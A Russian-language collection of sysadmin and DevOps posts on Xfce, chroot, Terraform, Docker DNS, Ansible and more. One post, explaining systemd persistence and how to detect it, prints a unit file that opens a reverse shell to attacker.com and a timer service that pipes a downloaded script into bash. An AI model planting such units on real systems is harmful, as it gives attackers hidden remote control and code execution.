Установка Xfce на Ubuntu Server: когда нужен лёгкий GUI

Если нужен графический интерфейс, но GNOME слишком тяжёл, Xfce — отличная альтернатива. Идеален для VPS, embedded-серверов и слабого железа.

⏺Обновим систему:

sudo apt update && sudo apt upgrade

⏺Установим Xfce:

sudo apt install xubuntu-desktop

Или минимальный вариант:

sudo apt install xfce4 slim

slim — это лёгкий дисплей-менеджер. Вместо него можно поставить lightdm:

sudo apt install lightdm

⏺Убедитесь, что выбран нужный менеджер:

cat /etc/X11/default-display-manager

⏺Запуск и остановка GUI:

sudo service lightdm start
sudo service lightdm stop

Или, если slim:

sudo service slim start

Вышел 4MLinux 48.0: ядро 6.12, улучшенный мультимедиа и поддержка KVM-дисков

Разработчик Збигнев Конояцкий представил стабильный релиз 4MLinux 48.0 — облегчённого дистрибутива на базе JWM. В этой версии:

⏺Обновлено ядро до Linux 6.12 LTS, добавлена поддержка установки на диски вида /dev/vda1 (виртуалки KVM).
⏺Включён видеоредактор Kino, несмотря на его возраст.
⏺В набор кодеков добавлен VVenC (H.266/VVC).
⏺Новые опции в расширениях: FreeTube, Bristol, новые версии VLC, GIMP, LibreOffice, Chrome и Firefox.
⏺Улучшена обработка звука, масштабирование видео и драйверы печати.

Сборка 4MServer получила обновлённый LAMP-стек и языки Python, Ruby, Perl.
Релиз доступен в вариантах Full, Core и Server, только для 64-битных систем.

Chrootjail что это и зачем нужно?

Когда нужна изоляция без контейнеров и виртуалок — на помощь приходит chroot.

Эта команда меняет корневой каталог для процесса, ограничивая его только указанной директорией.

Получается простейшая “тюрьма”, где процессы не видят остальную систему.

Зачем это вообще нужно?
⏺Запустить старую версию приложения с отдельной glibc
⏺Изолировать демоны, если нет systemd-nspawn / Docker
⏺Обеспечить восстановление системы из Live-среды
⏺Сделать легковесный dev-stand или jail для CI

Как поднять chroot jail с bash и ls?

mkdir -p chroot_jail/{bin,lib/x86_64-linux-gnu,lib64}
cp $(which bash) $(which ls) chroot_jail/bin/

Теперь подтянем зависимости. Смотрим, что нужно bash:

ldd $(which bash)

И копируем их:

cp /lib/x86_64-linux-gnu/libtinfo.so.6 chroot_jail/lib/x86_64-linux-gnu/
cp /lib/x86_64-linux-gnu/libdl.so.2 chroot_jail/lib/x86_64-linux-gnu/
cp /lib/x86_64-linux-gnu/libc.so.6 chroot_jail/lib/x86_64-linux-gnu/
cp /lib64/ld-linux-x86-64.so.2 chroot_jail/lib64/

Повторяем то же для ls. Когда всё готово — запускаем:

sudo chroot chroot_jail /bin/bash

Теперь вы в полностью изолированной среде, где доступны только скопированные бинарники и библиотеки. Можно использовать ls, запускать скрипты, писать тесты.

💬 Вопрос на собеседовании для DevOps-инженера

Давайте разберем один из частых вопросов, который может быть задан на собеседовании и как на него отвечать.

❓Вопрос: Как работает механизм Remote Backend в Terraform и зачем он нужен?

✅Ответ: Remote Backend — это механизм, позволяющий хранить файл состояния Terraform (terraform.tfstate) не локально, а в удалённом хранилище (например, S3, Azure Blob, GCS, HashiCorp Consul или Terraform Cloud). Это важно при работе в команде и для обеспечения согласованности состояния.

Примеры и особенности:

1️⃣Настройка S3 backend’а:

terraform {
  backend "s3" {
    bucket = "my-tf-state"
    key    = "prod/terraform.tfstate"
    region = "us-west-2"
  }
}

2️⃣ Блокировка состояния: В связке с DynamoDB Terraform может использовать блокировки, предотвращая параллельные изменения:

dynamodb_table = "terraform-locks"

3️⃣ Безопасность и доступ: Доступ к Remote Backend можно ограничить IAM-политиками или credentials-файлами, повышая безопасность при работе в CI/CD.

Почему DNS-трафик из контейнеров пропадает при смене сети

Один из тех багов, что легко пропустить, пока не начнёт сбоить прод: контейнер теряет резолвинг после смены сети или рестарта systemd-resolved, хотя хост чувствует себя нормально.

Виноват — встроенный DNS в Docker (127.0.0.11), работающий только внутри namespace и не всегда переживающий перезапуск или смену маршрутов.

Docker по умолчанию использует embedded DNS-сервер на 127.0.0.11, который находится внутри каждого сетевого namespace. Он проксирует DNS-запросы от контейнеров к системному DNS, но:

⏺При смене сети (например, ifdown/ifup) dockerd не пересобирает конфигурацию;
⏺При перезапуске systemd-resolved или NetworkManager upstream-адреса становятся недоступны;
⏺Контейнер продолжает слать DNS-запросы, но получает таймаут или пустой ответ.

Как лечить
1️⃣Отключить встроенный DNS:

{
  "dns": ["1.1.1.1", "8.8.8.8"],
  "dns-opt": ["use-vc"]
}

в /etc/docker/daemon.json

2️⃣ Прописать резолверы явно в docker run:

docker run --dns=1.1.1.1 --dns-opt=use-vc ...

3️⃣ Проверить работу через nslookup/dig внутри контейнера:

docker exec -it container sh
dig ya.ru

4️⃣ Следить за iptables -t nat — DNS может сломаться из-за неправильного SNAT в bridge-сетях.

Когда особенно критично
В k8s с Docker runtime, на embedded-системах или в CI, где DHCP может пересобирать сетевой стек. Там лучше не полагаться на автоматическую проксирующую магию.

Расшифровка dmesg: странные ошибки ядра и что они на самом деле значат

Ошибки, которые выводит ядро в dmesg, могут быть не просто набором цифр и букв. Знание того, как их расшифровывать, позволит быстрее находить и устранять системные проблемы, такие как перегрузки, краши и тормоза.

В этом посте мы разберем два распространенных, но часто недооцененных типа ошибок: __ratelimit и unreachable code.

1️⃣Ошибка __ratelimit

Эта ошибка возникает, когда система пытается записать слишком много логов за короткий промежуток времени.

В целях защиты от перегрузки ядро ограничивает частоту сообщений, чтобы избежать избыточного заполнения лога и снижения производительности.

Пример:

[<time>] __ratelimit: 29 msgs suppressed

Это означает, что 29 сообщений были подавлены, чтобы не замедлить работу системы. Частые ошибки в логах — это всегда повод обратить внимание на то, что вызывает их.

Чаще всего это связано с драйверами, приложениями, или в случае высоких нагрузок — избыточным логированием.

Что делать:
⏺Проверьте, какие процессы или модули генерируют сообщения.
⏺Изучите приложение, которое вызывает чрезмерное логирование.
⏺Попробуйте уменьшить частоту логов или настроить их на более эффективную обработку.

2️⃣Ошибка unreachable code

Когда ядро пытается выполнить код, который по каким-то причинам недоступен, вы увидите ошибку типа unreachable code.

Это может произойти из-за неправильной работы модуля, ошибки в коде ядра или несовместимости компонентов. Ошибки такого рода не всегда ведут к крашу, но они могут быть сигналом о проблемах с настройкой системы.

Пример:

[<time>] unreachable code reached at kernel/xxx.c

Что делать:
⏺Проверьте, какие модули ядра загружены и их конфигурации.
⏺Убедитесь, что используемые драйверы и ядро совместимы.
⏺Рассмотрите возможность обновления или переустановки модулей.

Практическая диагностика

Чтобы быстрее понять, что происходит с системой, используйте инструменты диагностики:
• strace: Помогает отслеживать системные вызовы процессов.
• lsof: Показывает, какие файлы открыты в данный момент.
• sysstat: Предоставляет статистику о состоянии системы и её ресурсов.

Эти инструменты могут помочь выяснить, какие процессы или приложения создают проблемы, а также укажут на узкие места в системе.

💬 Вопрос на собеседовании для сисадмина

Давайте разберем один из частых вопросов, который может быть задан на собеседовании и как на него отвечать.

❓Вопрос: Что такое io_uring в Linux и зачем он нужен?

✅Ответ: io_uring — это современный интерфейс для асинхронного ввода-вывода, появившийся в ядре Linux 5.1. Он был разработан как высокопроизводительная альтернатива старым моделям (epoll, aio) с минимальными системными вызовами и низкими накладными расходами.

Скрытые таймауты в curl: почему “повисла” проверка

Иногда вы запускаете curl в CI/CD или на сервере — и он “висит”. Не падает, не отвечает, не завершается. На первый взгляд — загадка. На деле — особенность настроек.

По умолчанию curl не устанавливает жесткий общий таймаут.
Если удалённый сервер принял TCP-соединение, но не отдает тело (например, из-за reverse proxy, фильтра или капчи), curl может зависнуть навсегда.

Проблема особенно опасна в автотестах, healthcheck’ах и системах мониторинга, где поведение curl считается индикатором доступности.

Решения:

1️⃣Использовать --max-time, чтобы ограничить общее время:

curl --max-time 10 https://example.com

2️⃣ Или задать более тонкие параметры:

curl --connect-timeout 5 --speed-time 10 --speed-limit 100

• --connect-timeout — максимум на установку TCP.
• --speed-time и --speed-limit — если скорость ниже лимита, сессия завершается.

Если curl запускается как часть healthcheck в контейнере — лучше всегда задавать явные лимиты.

Особенно на нестабильных сетях, где DNS работает, TCP открывается, но данные идут медленно или не приходят вовсе.

Проблемы с файловыми системами

При использовании SSD для контейнерных решений важно правильно выбрать файловую систему:

• ext4: Подходит для общего использования, но не всегда эффективна при большом числе операций записи, характерных для контейнеров.
• XFS: Хорошо работает с большими файлами, но страдает при работе с мелкими.
• btrfs: Имеет интересные функции, такие как дедупликация и сжатие, но может тормозить при интенсивной записи.

Docker и тома

По умолчанию Docker использует overlay2 для управления слоями контейнеров.

Это может привести к дополнительным нагрузкам на SSD, так как каждый слой добавляется поверх предыдущего, увеличивая количество операций записи. 

Также SSD чувствительны к блокировкам метаданных, что еще больше снижает производительность.

Причины потери производительности
⏺Журналирование: SSD быстрее работают, но если Docker не оптимизирован для этого, это может привести к потере производительности.
⏺Малые файлы: Контейнеры часто работают с малым количеством данных, что вызывает дополнительные нагрузки на файловую систему.

1️⃣Выбор файловой системы: Для SSD рекомендуется использовать XFS или btrfs, которые лучше справляются с мелкими файлами и высокой нагрузкой.
2️⃣Оптимизация Docker: Отключите избыточное журналирование и используйте bind mount для томов.
3️⃣Настройка SSD: Включите TRIM, чтобы SSD правильно освобождал место и поддерживал свою производительность.
4️⃣Использование ZFS: Если производительность критична, ZFS будет более эффективен в контейнерных окружениях.

Как интегрировать и автоматизировать Ansible для настройки сетевых устройств (Cisco, Juniper)

Ansible — это мощный инструмент для автоматизации конфигурации серверов и сетевых устройств. 

В этом посте мы рассмотрим, как использовать Ansible для настройки сетевых устройств, таких как Cisco и Juniper, с примерами реальных сценариев.

1️⃣Установка Ansible и необходимых коллекций

Для начала, нужно установить сам Ansible и необходимые коллекции для работы с сетевыми устройствами.

Установка Ansible:

sudo apt update
sudo apt install ansible

Установка коллекций для Cisco и Juniper:

ansible-galaxy collection install cisco.ios
ansible-galaxy collection install juniper.junos

Эти коллекции содержат модули для управления сетевыми устройствами Cisco IOS и Junos, и их использование существенно облегчает автоматизацию.

2️⃣Пример настройки устройства Cisco с использованием Ansible

Рассмотрим сценарий, в котором необходимо настроить несколько устройств Cisco, используя Ansible.

Инвентарный файл (например, inventory.ini):

[cisco_switches]
192.168.1.10
192.168.1.11

[cisco_switches:vars]
ansible_network_os=cisco.ios.ios
ansible_user=admin
ansible_password=your_password
ansible_connection=network_cli
ansible_become=yes
ansible_become_method=enable

Пример playbook для настройки VLAN на Cisco (например, configure_vlans.yml):

- name: Configure VLANs on Cisco Switches
  hosts: cisco_switches
  gather_facts: no
  tasks:
    - name: Create VLAN 10
      cisco.ios.ios_vlan:
        vlan_id: 10
        name: "Sales"
        state: present

    - name: Create VLAN 20
      cisco.ios.ios_vlan:
        vlan_id: 20
        name: "Marketing"
        state: present

    - name: Assign VLAN 10 to interface GigabitEthernet1/0/1
      cisco.ios.ios_interface:
        name: GigabitEthernet1/0/1
        vlan: 10
        state: up

Запуск playbook:

ansible-playbook -i inventory.ini configure_vlans.yml

Этот пример создаст VLAN 10 и 20, а затем назначит VLAN 10 на интерфейс GigabitEthernet1/0/1 на устройствах Cisco.

3️⃣ Пример настройки устройства Juniper с использованием Ansible

Теперь рассмотрим пример настройки устройства Juniper.

Инвентарный файл для Juniper (inventory.ini):

[juniper_routers]
192.168.1.20

[juniper_routers:vars]
ansible_network_os=juniper.junos.junos
ansible_user=admin
ansible_password=your_password
ansible_connection=network_cli

Пример playbook для настройки интерфейса на Juniper (например, configure_juniper_interface.yml):

- name: Configure Interface on Juniper Router
  hosts: juniper_routers
  gather_facts: no
  tasks:
    - name: Configure interface ge-0/0/0
      juniper.junos.junos_interface:
        name: ge-0/0/0
        unit: 0
        family_inet_address: 192.168.2.1/24
        state: present

Запуск playbook:

ansible-playbook -i inventory.ini configure_juniper_interface.yml

Этот playbook настраивает интерфейс ge-0/0/0 с IP-адресом 192.168.2.1/24 на устройстве Juniper.

Backdoor в systemd: нестандартные юниты и что туда могут спрятать

В продакшене всё чаще встречаются случаи, когда вредонос не сидит в /etc/rc.local, crontab или .bashrc, а встраивается прямо в systemd. Причём аккуратно, с видом “службы мониторинга” или “агента безопасности”.

Разбираем, как через systemd можно спрятать обратную оболочку или исполнять вредоносный код по расписанию — и как это обнаружить.

1. Маскировка reverse shell под systemd-сервис

Простой пример unit-файла, запускающего обратную оболочку:

[Unit]
Description=System Health Monitor

[Service]
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'
Restart=always

[Install]
WantedBy=multi-user.target

Такой юнит можно сохранить в /etc/systemd/system/sys-health.service и активировать через systemctl enable --now sys-health.service. На глаз — просто очередная служба.

2. Распределённый запуск через таймер

Юниты можно запускать не постоянно, а по расписанию, как cron:

# /etc/systemd/system/collect.timer
[Unit]
Description=Collect stats timer

[Timer]
OnBootSec=5min
OnUnitActiveSec=6h
Unit=collect.service

[Install]
WantedBy=timers.target

# /etc/systemd/system/collect.service
[Unit]
Description=Run data collector

[Service]
ExecStart=/usr/bin/curl -s https://attacker.com/payload.sh | bash

Такой таймер будет запускать бекдор раз в 6 часов — и его легко упустить, особенно если не смотрите systemctl list-timers.

3. Примеры более изощрённого поведения

Некоторые вредоносы:
• подсовывают юниты в ~/.config/systemd/user/, чтобы не требовать root-доступа;
• используют бинарники с нейтральными названиями (/usr/local/bin/kworker или /opt/metricsd);
• пишут логи в /dev/null или ExecStartPre=/bin/sleep 60, чтобы избежать подозрений по таймингу.

4. Как искать такие юниты
⏺systemctl list-units --type=service --all — ищем странные описания и пути к исполняемым файлам.
⏺systemctl cat <unit> — посмотреть полный юнит.
⏺find /etc/systemd/ /lib/systemd/ ~/.config/systemd/ -name "*.service" — ручной обход.
⏺Проверка таймеров: systemctl list-timers --all.

💬 Вопрос на собеседовании для DevOps-инженера

Давайте разберем один из частых вопросов, который может быть задан на собеседовании и как на него отвечать.

❓Вопрос: Как работает механизм Auto-Scaling в Kubernetes и зачем он нужен?

✅Ответ: Auto-Scaling в Kubernetes автоматически регулирует количество подов или узлов в кластере в зависимости от нагрузки, обеспечивая масштабируемость и эффективное использование ресурсов.

Основные компоненты:

1️⃣Horizontal Pod Autoscaler (HPA): Автоматически изменяет количество реплик подов на основе метрик (например, CPU или памяти).

2️⃣Vertical Pod Autoscaler (VPA): Регулирует ресурсы (CPU, память) для подов на основе их потребностей.

3️⃣Cluster Autoscaler: Автоматически масштабирует количество узлов в кластере в зависимости от потребностей в ресурсах.